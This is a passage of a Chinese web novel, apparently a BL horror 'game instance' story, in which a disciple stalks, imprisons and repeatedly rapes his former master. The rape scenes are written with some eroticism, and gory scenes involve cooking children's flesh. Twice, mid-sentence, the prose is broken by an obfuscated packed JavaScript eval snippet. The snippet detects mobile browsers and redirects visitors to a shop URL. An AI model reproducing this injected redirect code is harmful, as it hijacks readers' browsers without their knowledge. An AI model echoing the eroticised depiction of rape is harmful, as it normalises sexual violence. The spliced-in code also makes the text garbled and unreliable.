齐栩味同嚼蜡的喝着碗里的粥,脑海里回味起上个副本里楚明铮喂给他的那半口点心,试图用那方寸片刻的温柔来安抚自己。 齐栩小时候性格内向,很少向外索求安全感,绝大部分时候都自己哄自己。 事实上他也很擅长这个,他回忆了片刻那天晚上楚明铮喂他吃点心的场景,不多时就自己把自己哄好了。 师父心里还是有我的,尽管有时候对我严厉了一点。 不过没关系,谁让我是男孩子,师父当然不可能像宠楚小妙一样宠我。 他正想着,楚小妙忽然从餐桌上站起来,朝玄关处跑去,在楚明铮出门的前一个瞬间拦住了他。 “哥哥——”小女孩拖长了音,声音稚嫩而清甜。 “怎么了?”楚明铮回身伸手将小女孩扑过来的身躯顺手接着抱住:“我有事出趟门,晚点就回来。” “我喜欢你上次在副本里给我带的那个点心,你还能买到吗?”楚小妙撒娇道:“我还想吃。” “能。”楚明铮温柔失笑,一口应答:“回来给你带。” “带一大盒。” “可以,两大盒都行。” “我爱你!哥哥。” “嗯,回去吧。”楚明铮拍拍她的脑袋,终于出门去了。 饭桌上齐栩的脸色已经阴沉到了极点,他急促的呼吸着,试图让自己平复下来,然而全都无济于事。 胸口仿佛烧了团火,将他激的浑身发抖。 如果楚明铮的爱和在意可以用点心来衡量的话,楚小妙能得到两大盒,甚至更多,应有尽有。 而齐栩只能得到半口,连塞牙缝的量都够不上。 齐栩的手微微痉挛着,又过了很长时间,才终于沮丧的垂落身侧。 19. 第 19 章 不过这些往事对于成年以后的齐栩来说,已经很模糊了,年少时候那点没名堂的醋劲跟后来发生的事情相比,简直不值一提。 也都不是许祁川今天晚上放弃跟楚明铮争执的主要原因。 夜色更深重了,许祁川在床上悄无声息的睁开了眼,他轻轻翻动了一下身体,让自己得以面对着楚明铮的床榻。 他很喜欢看楚明铮合上眼睛陷入沉睡时的模样,因为只有睡着的时候,楚明铮是全然对他不设防的。 …… 楚明铮从前只有被折腾到晕过去的时候,才会对他展现出这种毫无防备的姿态。 月夜寂静无声。 齐栩慢慢的将自己退出来,身下人发出一声痛苦的低喘,苍白的脸颊疼的冷汗涔涔。 楚明铮躺在床上合拢着眼睛,虚弱的气若游丝,他眉心难受的蹙着,薄唇被他自己咬出一道极深的血痕,此时泛着鲜红的淋漓色泽。 这是他刚才宁可痛死都不愿意叫出声来的代价。 齐栩好笑的伸手抚弄了一下他的嘴唇,食指指腹上沾了一点血,齐栩便将指尖含进自己嘴里,把那点温热的血迹舔进了自己唇齿间。 楚明铮猛然将嘴唇紧抿起来,脸颊一拧,一副宁死不让他碰的模样。 “师父,你现在不让我碰,是不是晚了?”齐栩将双臂撑在他的身体两侧,轻声对他道:“我还没全部出来呢,你想清楚。” 楚明铮愤怒的睁开被泪水盈满的眼睛,抬手一耳光又要扇上去。 齐栩这时候吃饱了,心情不错,动也不动的任凭他打了几掌,等到楚明铮彻底没力气的时候,他才笑眯眯的将人双手手腕扣了,一并举过头顶压制在床头,让楚明铮难以挣动半分。 楚明铮后知后觉感觉到害怕了,彼时他气息已经很虚软了,却仍然惊惧的喊了声:“齐栩!” 声音里已经带了微弱求饶的意味。 齐栩并不理会,俯身下去,在他耳边柔柔的道:“我说了我还没从你这里离开呢,师父。” “从小到大你每次打我的时候,我都莫名其妙的兴奋,你说这是为什么?” “我没你这个徒弟……”楚明铮断断续续的哽咽着,眼睛通红的睁着,不肯服软片刻。 齐栩神情自若的听他骂自己,动作放的又深又缓。 楚明铮很快被折磨的说不出话了,他瞪大眼睛,眼泪无声的从眶中滚落枕巾,身上全是交错的伤痕,他一张口就是哽咽,拿齐栩一点办法都没有。 “再回答我一次。”齐栩温柔道:“您有没有我这个徒弟?” “没有……” 楚明铮下个瞬间就疼的煞白了脸色,他躺在齐栩臂弯里瑟瑟发抖,克制不住带上了哭腔:“没有!” “到底有没有?”齐栩的问话已经有点咬牙切齿了,力道一次比一次重。 “没……有……” 楚明铮失神的喃喃道。 齐栩盯着他惨淡的泪眼,无声的挑了一下俊眉,似乎觉得有些无趣。 他总不能真在自己府邸里把楚明铮逼死,只是今晚临到结束了,出了这么一遭,不免有些扫兴。 齐栩起身,动作不那么温柔的将楚明铮从床上拖了起来,拦腰往肩上一扛,径直带去了浴室。 楚明铮一路都昏昏沉沉的,耷拉着脑袋,任由齐栩将他摆弄来回。 他从昨天下午起就没出过卧室了,齐栩每隔两三个小时就把他折腾一通,然后自己去洗澡,洗完回来小憩片刻,就又来了兴致,楚明铮浑身软的像面条一样,一身的狼狈痕迹。 看着他这副有气无力的模样,齐栩的心情又好了不少,于是格外仔细的拿着花洒帮他处理。 水雾氤氲间,楚明铮靠在墙上,冷不防伸手将他的肩膀一搭。 齐栩意外的抬起头:“怎么了?” “让我见一下楚小妙。”楚明铮沙哑道:“条件随你。” 齐栩方才刚刚洋溢起来的心情瞬间跌落下去,他笑着指了一下衣衫不整的楚明铮,又指了指自己:“我们俩刚结束,你现在说你要见楚小妙?” “师父,我没听错吧?” “我如今已经随你摆布了,你让我见她一面又能如何。”楚明铮平静的道:“她是我妹妹,我在你这儿关了这么长时间,我担心她做傻事。” “况且齐长官如今位高权重,我们也奈何不了你,我任你折辱了这么久,就当嫖/资了,不行么?”楚明铮十分坦然的看着他,语气平淡,似乎对徒弟的暴行已经习惯了。 齐栩的脸色阴的能滴出水:“不行。” 楚明铮叹了口气:“你不讲道理。” “对,我不讲道理。”齐栩开大花洒,对准 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一定有能显示女主人和鬼孩子们关系的细节,一定有他前两天忽略掉的地方。 工作间,餐厅,卧室,女主人的孩子,尸油蛋糕和骨灰汤饭。 是什么关系能让一个毫无血缘关系和合同契约的女人,心甘情愿给一群孩子做饭呢? 许祁川见他神色有异,连忙又把自己送上来:“哥哥,你有什么发现,我帮你分析分析?” 楚明铮这回没赶他走,反而顺手将他拉到了身侧,神情凝重的思考道:“小学。” “昨天晚上的合照里最大的地点指示就是小学,小学附近,除了学校本身以外,还能聚集学生的场所,会是哪里?” “女主人代替家长,负责了孩子们的接送,做饭,照顾休息等一系列工作,她是什么身份?” 许祁川一脸茫然。 此时所有线索联系到一起,楚明铮终于报出一个答案来。 “小学生的托管班。” 许祁川;“?” “我们一直被困在一个托管班里,而女主人,就是这个托管班的管理者。” 没怎么上过小学的许祁川本人:“?” 这是什么东西? 20.第 20 章 楚明铮本指望着他能给自己一个恍然大悟的反应,或者是跟自己一样,片刻之间能把一切信息点串联在一起理清楚。 然而许祁川看着他的眼神十分呆傻。 仿佛一个不太聪明的儿童。 楚明铮耐着性子又跟他小声说了一遍:“托管班,这是一个托管班。” 许祁川眨巴眨巴眼睛。 楚明铮气的七窍生烟,又不能发作,只好跟他面对面的眨巴眼睛,等着看他什么时候能回过神来。 过了好长时间,许祁川才神神秘秘的勾了一下手,低声问他:“哥哥,托管班是什么?” 楚明铮:“?” “你没念过小学?”楚明铮后知后觉的惊异道。 许祁川眼睛亮晶晶的:“哥哥你念过啊?” “我当然念过!” “哦……”许祁川略显羞涩的低下头,不说话了。 这该不会是个文盲吧?楚明铮目瞪口呆的心想。 许祁川给他比了一个“三”的手势,更羞涩的说:“哥哥,我只念到过小学三年级。” 楚明铮险些给他气了个仰倒,这他妈还真是个文盲。 “行吧。”楚明铮无力的摆了摆手,给他解释道:“托管班就是,一般小学放学都早,但是小学生的家长下班晚,没有办法及时接送孩子,这个时候学校门口就会出现的一种业务。” “就是有人代替家长,把孩子们提前接回自己家里,给孩子们做晚饭,批改作业,一直照顾到家长下班来接为止。” “家长们按月结钱,我小时候见过这种类似的机构,它还有别名,也叫‘小饭桌’,反正大概这么个意思。”楚明铮站在餐厅门口对他说道。 许祁川似懂非懂的点了点头。 “算了,反正就这么回事。”楚明铮无力道:“……就算你这副本里长大,也不应该连这些现实生活的基本常识都不清楚。” 许祁川张了张口,颇为沮丧道:“哦,对不起……可是养我长大的人没教过我这些。” “他真不靠谱。”楚明铮随口道。 许祁川:“……” “嗯,我也这么觉得。”年轻人意味不明的瞥了他一眼,兀自拧过脸去,忍俊不禁。 “喂,哥们,有什么信息一起分享啊,一起想办法力量不更大吗?”身后那个高壮的汉子朝许祁川和楚明铮喊了一嗓子。 两人回过头去,只见一屋子存活的玩家都期待的看着他俩。 楚明铮自己从不喜欢跟同副本的陌生人打交道,就顺手将许祁川一推:“你跟他们说。” 许祁川将这活儿接的十分利落,上前三言两语把他们两个昨天晚上的经历讲了一遍,包括对于女主人身份的推测。 这年轻人讲起话来不紧不慢,条理清晰分明,表达逻辑极强,还和气的让人如沐春风。 众人听完都是恍然大悟,但是很快又犯起愁来。 “许小哥,按照你这么说,我们现在就是这个托管班所聘请过来帮厨的工作人员,除了要小心翼翼避开所有致死规则以外,我们还能做什么才能出去,总不能真一直给她干活干到结束雇佣那天吧?” “要真等到结束雇佣再走,那跟全灭也没区别了。”楚明铮叹了口气。 “那您有什么思路吗?”许祁川回到他身边,殷勤的问。 楚明铮摇摇头:“没有。” 许祁川神色忐忑的低下头,又拽了拽楚明铮的衣角。 楚明铮简直拿他没办法,深吸一口气刚要发作,抬眼对上许祁川那双漂亮的狗狗眼。 “走一步看一步吧,诸位,按照这个时间,现在应该去工作间了。”楚明铮看了一眼表,又头疼的看了一眼许祁川拉拽他衣角的手,无奈的算是默许了。 两人一前一后朝工作间走,许祁川追上去声音不大的道:“哥哥,我发现你现在对我越来越耐心了。” “嗯。”楚明铮应了一声。 许祁川险些以为自己听错了,他冷不防将楚明铮衣角朝着自己这边一拽,逼得楚明铮不得不停下脚步:“小同志,你冷静一点好不好,别总动手动脚的。” “你刚刚回答我了什么?”许祁川不可思议道:“你说了声‘嗯’?” “是啊。”楚明铮无奈敷衍道:“这两天看你有点顺眼了,这 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周围众人以尸体为圆心呼啦啦退开三丈远。 “可是,可是他刚才吃饭的时候还好好的呀。”女生哇的一声哭出来,边抹眼泪边说道:“女主人今天早上也没出现,他能因为触犯什么规则而被杀呢?” 楚明铮简单将尸体翻看了一下,身上倒是没有明显的伤痕,也没有被鬼留下标记的痕迹。 这个男孩子他有点印象,好像从头到尾都没说过话,很安静,也没有主动调查线索。 不排除他自己昨晚偷偷调查,今早被女主人清算的可能性。 但是话又说回来昨天晚上,谁能有楚明铮和许祁川做的过分,更能触怒女主人的吗? 许祁川在一旁又研究了片刻,忽然抬起头来:“哎?哥哥,他好像是中毒死的。” 这话一说出来,跟石破天惊没什么区别。 连楚明铮都微微变了脸色。 “你们……是不是刚一起吃过早饭?” 21.第 21 章 许祁川这话说的就有点吓人了。 众人刚围在一起吃了早饭,然后眼下就有一个中毒死的人,一般情况下副本里提供的餐食都是可以正常吃的。 闯关过副本原本就步步杀机,每天吃的食物里如果还有毒的话,那大家干脆就都不要活了。 “你什么意思啊许小哥?”有人不高兴道:“饭都是我们来之前就摆放好的,就算有毒,也不可能是我们几个下的。” 许祁川停顿了一下,很好脾气的解释道:“我没这么说。” “难道是女主人下的?”旁边的小姑娘战战兢兢道。 “胡扯,女主人想弄死我们有一百种方法,她总不可能看我们不顺眼就下毒吧,那副本不就成死局了?” “那就是我们之中有内鬼!”高大壮实的男人一锤定音,信誓旦旦的说。 这话无疑激起了在场所有人的惊恐和猜忌,众人彼此慌张的对换着目光,各自都离周围人远了些,生怕下毒者就在自己身边。 楚明铮幅度很小的翻了个白眼,出声道:“好了。” “现在猜这些没什么意义。”楚明铮简短道:“就算有内鬼,也不会自己跳出来,不如说点有用的。” 他这人从前在队伍里当领导者当惯了,说话时气场强大,说话仿佛自带稳定局面的作用似的,一出声,周围人就都噤了声。 “昨天晚上谁跟他住一起的?”楚明铮环视了一圈问道。 有个年纪稍大一点的中年男人举起了手:“我。” 楚明铮点了点头:“这几天都是你俩住一间屋子吗?” “是。”男人沉重道。 “我叫程斌,这小伙子叫张阳,人还挺好的,我俩这几天一直住一起。” “他昨天晚上有什么异样吗?”楚明铮又问。 男人的仔细回忆起来:“没什么异样吧,睡的挺早的,我们刚一从餐厅回来,进屋他就上床睡了。” “他之前几天也是这个点上床睡觉的吗?”楚明铮追问。 “不是。”程斌摇头:“之前回去还跟我分析分析线索,昨天晚上就直接上床睡了。” 楚明铮感受到许祁川握在他肩膀上的手一紧,似乎有所发现。 他没管许祁川,揪着这个突破点思索道:“所以说他从昨天晚上就有异常表现了,但是今天早上却一切正常,直到刚刚吃完饭暴毙。” “啊!对,我想起来了。”程斌惊慌道:“他昨天晚上起夜过一次,但是当时我睡的迷迷瞪瞪的,没太听见具体的,就听见卫生间传来干呕和抽水声音。” “你怎么不早点说这条。”一旁那个同行的女孩埋怨道:“原来他昨天晚上就身体不舒服了。” “我以为他是太害怕了才吐的,我怎么知道这人今早无声无息就给死了……哎等等,就算吐了一下也不一定就会死吧,他是今早才暴毙的,应该也不牵扯浪费食物。” 男生的尸体仍然僵硬的躺在地板上,口鼻泛着乌青,气绝已久,看不出丝毫生气了。 楚明铮将昨天晚上他跟许祁川收集到的线索一一汇总,再结合过眼前死者的状态,只觉好多细碎的疑点在脑海里盘旋不清,怎么都拼凑不成一个完整的画面。 “行吧,虽然这小伙的死因还有待考证。”许祁川从他身后站出来,温和的对众人道:“但是起码我们现在能确认队伍里没有内鬼了。” 众人神情明显一松,除了那个年轻姑娘。 “先去工作间吧。”楚明铮从死者身边挪开脚步,他眼底的不忍一闪而过,语气却仍然平淡而毫无宽慰的意思:“人已经死了,但是我们今天还有今天要完成的任务。” 年轻女孩蹲在同伴的尸身前大哭起来,肩膀抖动痉挛,悲伤的让人心碎。 楚明铮没多说什么,只快步出门,把空间留给了她。 许祁川难得没有一直紧跟着他,到门口就自觉跟楚明铮分开了,两人分别朝各自的工作间走去。 炸肉排的工作间里还残留着昨天的熟肉香气,隐约含着点烤焦了的味道,楚明铮心不在焉的去洗衣机旁照常开盖子查看,里边果然换上了一副新鲜的骨肉,从边缘散落的几截脚趾头的大小来看,应该也是个小孩子。 身后同组的过关者接二连三的进来了,七手八脚的各自起锅烧油,准备洗衣机的人肉。 大概是一大早就死了人的缘故,整个工作间的气氛都沉默而压抑,但是并不妨碍他们现在已经能十分熟练的处理同类的生肉了。 楚明铮神色如常的倒了洗衣粉,合上洗衣机的盖子,按键后等待它工作。 就在这时,楚明铮忽然眉心一紧,浑身打了个寒颤,他发觉自己从胸口到胃部,连带着整个五脏六腑都开始绞痛起来,剧烈的生疼逼的楚明铮双腿一软,“咕咚”一下,跪在了地上。 旁边的人听到声响,不约而同吓了一跳,登时都赶过来扶他。 “哥,你没事吧?” “怎么了怎么了,突然脸色这么差。” “那个……要不要把许小哥喊过来看看。” 楚明铮咬着牙摆了摆手,他的脸色已经全然惨白了,看起来极其难受,却仍然靠自己单手扶着洗衣机,不让旁人搀扶他。 “没事,我去趟卫生间。”楚明铮喘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636097|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息了两声,用力将自己嘴唇一咬,逼迫自己站起身,朝走廊里的卫生间大步而去。 水声哗啦啦的流淌,楚明铮开着排风扇,伏在洗手台前吐的昏天黑地。 他颤巍巍的打开水龙头,将自己冲洗了一遍,胃里翻滚的痛苦仍然难以消减。 楚明铮难受的神志不清,虚弱的连关上水龙头的力气都没有,胸口仿佛被压上了一块巨大的石头,生涩的绞痛折磨的他喘不上来气,昏昏沉沉的就要往地上倒。 一双温热而有力的手从身后稳稳搀扶住了他。 楚明铮腰身被人一箍,稳当的扶好,又被身后那人拦腰搂在身前。 冰凉的水珠沿着洗漱台的边缘渗透进楚明铮的衣服里,他下意识的伸手一挣,却被人禁锢的更紧,全然控制住腰身和双臂,压制在镜子前。 “哥哥,你怎么了?”许祁川故作关切的搂着他:“你看起来脸色很差。” “要我扶你去休息吗?”他侧了点头,离楚明铮耳畔更近。 耳畔喷薄的热气,以及年轻男人从身后传来的压迫感,一时间再次唤醒了楚明铮的某些糟糕的回忆。 “放开我……”楚明铮虚弱道。 “我放开你,你就站不稳了,哥哥。”许祁川温柔的在他耳边道:“还是让我抱着吧,我扶你回去休息。” “不用——”楚明铮难受的冷汗淋漓,勉强攒了一点力气,反手猛然一推许祁川:“别靠我这么近!” 镜面中许祁川的眼神骤然转阴暗,动作不再温柔,伸手将楚明铮双腕一并用力一拧,反缚在身后,某处地方若有若无的抵住楚明铮的后方,威胁十足。 “哥哥,你冷静一点,我不会伤害你的。”许祁川哄道。 ……无数记忆碎片登时闪回放映,重现在楚明铮惊惧的瞳孔里。 “师父,你冷静点,我又不会伤害你。”齐栩在他身后,一只手抬起楚明铮的下巴,一只手禁锢住他的双腕,强迫他直视着镜子里的自己。 楚明铮的身体不住的朝前耸动,浑身没有一处不是被劈开似的疼痛。 到最后楚明铮的意识已经趋于模糊了,额头时不时的因为身后所承受的力道而撞到镜面上,苍白的额头泛起了轻微的淤青。 齐栩和许祁川的两张面容在他眼前不停的来回交叠切换,几乎变换出了重影。 楚明铮失神的望着镜中的自己,恍惚中只见余光飘渺。 镜中的许祁川和回忆里齐栩那张年轻俊朗的脸庞,在他眼里倏然合二为一。 楚明铮浑身一颤,下一个瞬间双腿一软,被巨大的恐惧和瘆意,激的喘出声来。 22.第 22 章 他蓦然爆发出一股力道,回身狠命挣脱许祁川的搀扶,顺手将对方用力一推! 许祁川身形极稳,脸上神色几无变化,被推了也只是象征性的后退两步,举起双手朝楚明铮示意:“哥哥,你刚才快摔倒了。” “我只是想扶你。” 楚明铮头痛欲裂,眼前一片混沌,他的视线已经趋于失焦,什么都看不清。 他伸手踉跄着扶了一下墙壁,语气发狠的朝对面说了一句:“你别过来。” 许祁川耐心的停下脚步,真的不往近靠了。 楚明铮颤抖着身体,整个人因为极度的疼痛而缓缓蜷缩起来,最终双腿支撑不住力道,颓然跪在了卫生间的地板上,喘息声一下接着一下,听的人揪心不已。 他扶在墙上的指骨攥的生疼发紧,泛着惨然的青白色,抬头喘息时许祁川能看见他眼底凝聚的水汽。 楚明铮从不在人前示弱,哪怕是后期在齐栩床上,他也宁可把自己嘴唇咬破,也不肯求饶一声,流露出丝毫软弱的情态。 他此时能在一个陌生年轻小伙子面前掉眼泪,说明是真的已经疼到极点了。 许祁川心知不妙,也顾不得管那么多,大步走过去,在楚明铮面前蹲下,伸手就要揽他过来:“哥哥,你这样硬撑不行的,我带你回卧——” 他靠近楚明铮的一瞬间,只见对方尚且涣散的眼神瞬间迸发出极致的惊恐,挣扎着就要起身后退,见着许祁川就仿佛见着什么极其可怖的怪物一般。 许祁川蹙着眉,低喊了声:“哥哥。” 他抬手去抓楚明铮手腕,被楚明铮猛然一挥,一巴掌砸了过来。 许祁川的神情愣了一两秒,他原本是能避开的,但是不知道出于什么原因,他竟站在原地动也不动,任由楚明铮一掌扇在了自己的脸颊上。 右颊火辣辣的疼,许祁川缓慢的用舌头顶了一下腮帮子,仿佛回到了那些晦涩和甜蜜交织的软禁岁月。 那时候楚明铮只属于他一个人。 他给楚明铮当徒弟的时候,楚明铮虽然也严厉,动辄对他皮带殴打,但是其实很照顾青少年的自尊,基本抽的都是屁股这些脂肪多的部位,从没打过他脸。 楚明铮是什么时候第一次扇他耳光的来着? 哦,好像是他第一次强迫师父的时候。 那也是齐栩第一次干这种混账事,因为太激动,绑人都绑不利索,让楚明铮在剧烈的挣扎中不慎挣脱手腕上的绑绳,抬手给了他一耳光。 师父的手掌全是濡湿的冷汗,抽在他脸颊上的前一秒,他还能闻见楚明铮着袖口中藏着的的清冷香气。 凉意温润,沁人心脾。 这是师父死后,他第一次有人敢扇他耳光。 许祁川闭上眼睛回味片刻,恍然竟有种重温旧梦的喜悦感。 这一巴掌下去耗尽了楚明铮所有的力气,他注视着面前的许祁川,眼神迷惘而惊惧,似乎分不太清眼前人到底是谁。 许祁川低头笑了一下,紧接着举步上前,以一个不容反抗的力道抓住楚明铮伶仃的手腕,一把扣住师父清瘦的腰身,将人拦腰拖进怀里。 楚明铮再次挣动起来,他还没有从幻境和现实的不清醒中挣脱,嘴里含混不清的呻吟道:“放开我,齐栩……” 许祁川攥着他的双腕,重新抵在洗手台上,整个身体将楚明铮扣在阴影里,禁锢在臂弯中,紧贴着他的耳边,再次柔声细语的开口了:“哥哥,齐栩是谁?” “你好像,认错人了。” 他的声音又和煦,又平缓,带着一点恰到好处的懵懂天真,仿佛他真是初出茅庐的副本小菜鸟许祁川,见着一路相伴的室友大哥哥晕倒在浴室里,急的手忙脚乱团团转。 楚明铮昏沉着被他压制了半晌,在五脏六腑的疼痛和过往心理阴影的双重攻击下终于彻底脱力,膝盖一软,仰身昏迷在了许祁川怀里。 许祁川定定的将他搂着,注视着怀里人苍白惨然的面容,良久眉锋微挑,遗憾而失望的感慨道:“原来你现在这么害怕我。” “怕我干什么呢,我又不会吃人……唉,既然如此,我还是晚点告诉你身份好了。” “师父。” 楚明铮不知道自己睡了多久,再次醒来的时候浑身好像被抽干了力气,哪哪都酸疼无比,他疲惫不堪的睁开眼睛,入目就是卧室昏暗的吊灯。 “你醒啦,哥哥。”一旁的人惊喜的从隔壁床上跳下来,像个小松鼠似的趴在他床边上,紧接着就开始喋喋不休:“哥哥你可算是醒了,你都不知道,你害得我好担心啊!你当时在浴室里一个不留神就昏过去了!” “我过去扶你抱你,你还推我来着,虽然力道不重吧,但也是把我吓到了呢!” 楚明铮无奈的看着他,尽力偏了一下头,试图用眼神示意他闭嘴。 许祁川全然没理解他的意思,继续眼巴巴的卧在他床前,关切的伸手去碰他的额头:“哥哥哥哥,你好点了没有,我看你没有发烧的迹象啊,究竟是哪里不舒服啊,你跟我说,我去想办法。” 楚明铮有气无力的摆了一下手:“我没事,现在几点了?” 许祁川看了一眼表,肯定道:“晚上十点。” 楚明铮心头一跳:“我今天没去工作间,他们把肉排处理好了没有?还有两个小时就是晚餐时间,你现在带我去看看——” 许祁川一只手就把他推回到床上去了:“放——心-—” 楚明铮:“?” “我都处理好啦。”许祁川从地上站起来,双手插兜,神色自得,像只骄傲的小孔雀。 “你们组那群人笨手笨脚的,我把自己那份骨灰汤饭的工作弄完之后,过去顺手把肉排组所有人的工作全做了!” “九份肉排,全是我一个人煎的。”许祁川眉飞色舞的讨表扬:“哥哥,我厉不厉害?” 楚明铮哑然失笑,片刻认真的点了点头:“嗯,厉害。” “有你这句表扬,我做什么都值了。”许祁川笑眯眯的道。 楚明铮显然被这年轻人赤诚的态度所打动了,他眼中神色复杂而柔和,半晌注视着许祁川,温和的笑了笑:“谢谢。” “没事儿!” 当初在副本里救的要是许祁川这种温良的小朋友就好了,楚明铮躺在床上心想,就应该让齐栩那个小神经病被鬼怪撕成碎片,然后早点投胎,省得养大了祸害众生。 楚明铮想着想着,忽的胃部又是一疼,他不禁轻轻皱了下眉,“嘶”了一声。 许祁川神情立刻紧张起来:“你又疼了吗哥哥,什么情况啊,你最近也没吃别的东西,我看看……” 楚明铮伸手制止住他上前的动作:“停,不用。” “我大概知道是怎么回事。”楚明铮缓了口气道。 “啊?”许祁川一脸茫然,不知道他有何指示。 “这个副本的背景故事,跟食物中毒有关。”楚明铮低声道:“我跟早上死的那个人一样,已经出现了初期症状,不出意外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640601|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,再过几个小时,我也会和他一样暴毙。” 许祁川眼睛蓦然瞪大,惊慌失措起来:“什,什么——” “我暂时还不知道我触犯的是那条禁令,但是这就是食物中毒的反应,我以前见过,女主人的身份是托管班阿姨,她最重要的工作之一就是给孩子们做饭,而且是一群孩子,一群在城市重点小学念书的小朋友,这种孩子一般都是家里捧在手心长大的,条件优渥,呵护备至。” “既然女主人负责他们,那她在工作过程中可能会出现什么纰漏,才能导致一群小孩子变成了鬼。” 许祁川反应很快:“哥哥你的意思是说,孩子们吃了女主人的饭,然后食物中毒,死了九个孩子,怨气太深,才形成的这个副本?” 楚明铮凝神思索:“死因肯定跟食物中毒有关,但是没这么简单,女主人自己也死了。” “如果仅仅是食物中毒的话,又这么解释副本中其他的血腥元素呢?”许祁川追问:“比如什么尸油蛋糕,骨灰汤饭,人肉排骨……这可都是深仇大恨才会上的手段,如果是女主人的错导致的大祸,她又为什么对这些孩子恨成这样?” “这说不过去,哥哥。”许祁川伏在床边道。 楚明铮忍不住伸手揉了一下他的脑袋,这是他从前对待楚小妙和齐栩的惯性动作。 许祁川冷不防被他揉了一把,目光瞬间变的呆滞起来,连思考都不会思考了:“哥哥你……” “我有个大概想法,但是需要一点时间来验证,但愿在我食物中毒暴毙之前能得到检验吧。”楚明铮费劲的从床上坐起来,他脸色还很差,目光却已经紧绷成了一线。 许祁川很快调整好了自己的呆滞,换了一副担忧的神情,看着楚明铮憔悴苍白的脸色。 “你打算怎么办?要我配合你吗?” 楚明铮点头,毫不犹豫的道:“要。” 许祁川精神一振:“行,怎么配合?” 楚明铮抬手看了一眼表:“不出意外的话,我明天早上就该暴毙了,所以在这之前,我们得搞死女主人。” 他说这话是云淡风轻,一点看不出刚才被阴影笼罩时的惊惧。 说来好笑,楚明铮这辈子什么都没怕过,唯一怕的人,还是自己亲手养大的,许祁川一边目光灼灼的等着听他的计划,一边漫不经心的想道。 “今天晚上就得破这个副本,晚餐结束后你再陪我去一趟女主人卧室,跟她面对面交流一下,应该就能得到我们需要的东西了。”楚明铮从床上站起来对他道:“时间差不多了,去吃晚餐吧。” 许祁川伸手扶了他一把,经过几天的相处,两人居然诡异的培养出几分默契,楚明铮并不讨厌这个新人,尽管他有时候会拖点后腿。 “微小的疑点其实都已经被我们找到了,今天晚上只需要把它们串联在一起就好了。”楚明铮安抚许祁川道:“别怕。” “嗯。”许祁川满眼都是信任,用力的点了点头。 “不过哥哥……”他欲言又止。 “不过什么?”楚明铮一边往外走,一边随口问道。 “还有个事,就是你刚才昏迷的时候,一直在喊一个人的名字。”许祁川小声道:“我听着好像是……齐栩?” “你梦见齐栩了吗?” 楚明铮心脏一沉,仿佛被人凌空泼了盆冷水,将他从头到脚浇的透心凉。 片刻之后,楚明铮语气不复方才的和煦,十分冷淡的对这年轻人道:“你听错了。” 23.第 23 章 “我没听错。”许祁川笑着打趣:“你喊的就是齐栩,清清楚楚的两个字,还喊了好几遍。” 楚明铮不动声色的掩去眼中异样的神色,依旧平稳对答:“是吗?我没印象。” 许祁川观察着他的脸色,冷不丁道了句:“你看起来很害怕他。” 楚明铮放在身侧的拳心难以克制的一抖:“你怎么会这么想?” “你睡着的时候一边喊齐栩,一边把自己往被子里缩。”许祁川耸肩道:“我吓了一跳,还以为咱们房间进鬼,还上你的床,缠上你了。” “我就去探头看了一眼你,结果发现你在哭。” 楚明铮大脑一时一片空白,半晌身躯僵硬,站在门边上,难以挪动分毫。 他在梦中一边念叨齐栩的名字,一边掉眼泪? 这话怎么听怎么离谱,不像是他自己能干出来的事。 但是许祁川一个连齐栩是谁都一知半解的新人,又有什么理由编谎话骗他呢? 楚明铮心乱如麻,又怕自己神色起伏太大,让许祁川看出端倪,只好随意敷衍了几句,以此岔开话题,顺便快步朝走廊上走了几步。 马上就要到同女主人一道进晚餐的时间了,走廊上空无一人,鬼光黯淡,这还是自他们闯女主人卧室被追杀后,第一次跟女主人正面相抗上。 许祁川追在楚明铮身后,他个子高腿长,走得快,没两下就赶上楚明铮,紧紧随在他身侧,寸步不离。 临到快走进餐厅的时候,许祁川语气幽幽的调侃了一句:“哥哥,我真羡慕你。” 楚明铮微微一侧头,不解的看着他:“羡慕我什么?” “你在现实世界里可以牵挂的人真多。”许祁川语气轻快道:“从前两天那个长得像女主人女儿的小姑娘,到齐栩……” 楚明铮冷笑一声,打断了他:“别把齐栩跟我妹妹放在一块。” “他还不配。” 许祁川话音猛的噎了一下,在楚明铮看不见的角落里,一双眼睛狰狞出了几近血腥的红色。 楚明铮当年被软禁后,最牵挂的人就是楚小妙。 他不止一次的跟齐栩提要求,要见楚小妙,不出意外的都被齐栩驳回了。 “她到底在哪儿!”在又一次不堪重负的摧残过后,楚明铮不顾身上耻辱而火烧火燎的痛楚,精疲力尽的伸手抓住齐栩光裸的肩膀和手臂。 “你把她怎么了?”楚明铮喘息着质问,声音因为疲惫而极度沙哑。 齐栩慢斯条理的伸手将他的掌心从自己肩头扒拉下来,转而扣进自己手里,强迫他同自己十指相扣,掌心贴合。 楚明铮见他这个态度,不由得心里更焦急。 齐栩自打登上高位后,就以行事作风狠辣,副本数据计算严谨而著称,跟各路公会领袖和主神那边开会商讨时永远一副俊朗而冷淡的疏离模样。 楚明铮在家见过他的会议记录回放,主桌上的年轻人面容严肃,神情认真,工作时带着副没有边框的眼镜,镜中冷色光芒反射,完全是一个专注而一丝不苟的年轻领导者模样。 谁也不知道就是这么一个披着精英皮囊的年轻人,已经在家将自己师父囚禁着长达半年了。 